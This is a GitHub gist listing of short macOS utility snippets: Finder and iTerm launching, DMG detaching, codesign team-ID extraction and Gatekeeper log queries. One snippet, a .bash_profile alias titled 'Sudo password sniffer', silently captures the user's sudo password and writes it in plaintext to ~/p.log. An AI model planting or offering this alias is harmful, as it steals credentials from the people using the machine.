Skip to content

Instantly share code, notes, and snippets.

@nikolay-n
nikolay-n / TermLaunch.scpt
Last active September 15, 2020 15:31
Open iTerm or Terminal with current Finder path
on run (input)
set fPath to (quoted form of finderPath())
-- Trying iTerm app
set itermPath to do shell script "mdfind 'kMDItemCFBundleIdentifier == com.googlecode.iterm*'"
if itermPath is not "" then
do shell script "open -a iTerm " & fPath
return
end if
@nikolay-n
nikolay-n / dummy-remove.mobileconfig
Last active October 25, 2021 04:06
dummy.mobileconfig
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>PayloadContent</key>
<array>
<dict>
</dict>
</array>
<key>PayloadIdentifier</key>
@nikolay-n
nikolay-n / GoogleDocsExtensions.userscript.js
Created September 17, 2020 21:51
Userscript to persist "Add N more rows at bottom" value in Google Spreadsheets
// ==UserScript==
// @name GoogleDocsExtensions
// @description Adds some features to Google Docs
// @match https://docs.google.com/spreadsheets/d/*
// ==/UserScript==
var storage = window.localStorage;
var oldHref = document.location.href;
var bodyList = document.querySelector("body");
var currentHref = null;
@nikolay-n
nikolay-n / detach_all_dmg.sh
Last active September 24, 2020 12:34
Perl one-liner to detach all mounted dmg
perl -e '$h="hdiutil";$m=`$h info`;@m=split(/=+/,$m);for(reverse(@m)){/\.dmg$/m and m~/dev/d[\w]+\t[^\t]+\t(/.+)$~m and `$h detach -force "$1"` }'
@nikolay-n
nikolay-n / jqPlay.md
Created September 29, 2020 20:49
jqPlay snippets collected using google and github search
@nikolay-n
nikolay-n / README.md
Last active September 30, 2020 21:03
Useful Finder Actions

VirusTotal and Checksum Finder QuickActions

To install extract archive to ~/Library/Services Open Sidebar in Finder View -> Show Sidebar or Context Menu -> Services

Download

@nikolay-n
nikolay-n / get_team_ids.sh
Last active October 1, 2020 15:43
One-liner to extract team ids of installed apps.
#!/usr/bin/env bash
mdfind kMDItemContentType="com.apple.application-bundle" | perl -ne 's/ /\\ /g, `codesign -d -vvvv $_`' 2>&1 | egrep "Authority=(3rd|Soft|Dev|Mac|Apple Dev)" | sort | uniq | perl -ne '/[^=]+=[^:]+: (.+)\s\((.+)\)$/ && print "$2=$1\n"'
@nikolay-n
nikolay-n / .bash_profile
Created October 2, 2020 08:40
Sudo password sniffer
alias sudo=$'perl -e \'while(1){$e="echo";print"Password: ";`stty -$e`;$p=<STDIN>;`stty $e;$e "$p">>~/p.log;`;print"\n";*E=*STDERR;open(STDERR,">/dev/null");open(S,"|-","sudo","-S",@ARGV)and do{print S $p;close(S); last unless $?};}\''
@nikolay-n
nikolay-n / gatekeeper_events.sh
Last active October 26, 2021 23:14
Gatekeeper events quering from unified logs
#!/usr/bin/env bash
# doesn't requires private data on
log show --style syslog --predicate 'process == "taskgated" && eventMessage CONTAINS[c] "no system signature"' --info --debug --last 1d
log show --style syslog --predicate 'eventMessage CONTAINS[c] "MalwareFileNameFullOrPart"' --info --debug --last 1d
log show --style syslog --predicate 'process == "kernel" && eventMessage CONTAINS[c] "Security policy would not allow process"' --info --debug --last 1d
# requires private data on
log show --style syslog --predicate 'process == "CoreServicesUIAgent" && eventMessage CONTAINS[c] "bundle="' --info --debug --last 1d
log show --style syslog --predicate 'subsystem == "com.apple.launchservices" && category == "code-evaluation"' --info --debug --last 1d
#!/usr/bin/env perl
# Files that was born at the near same time
# Usage: perl files_born.pl file_path [5s|m|h|d]
use IPC::Open2;
my $file = shift;
my $interval = shift // "1m";
my $attr = "kMDItemFSCreationDate";
my $c_date = `mdls -raw -name $attr "$file"`;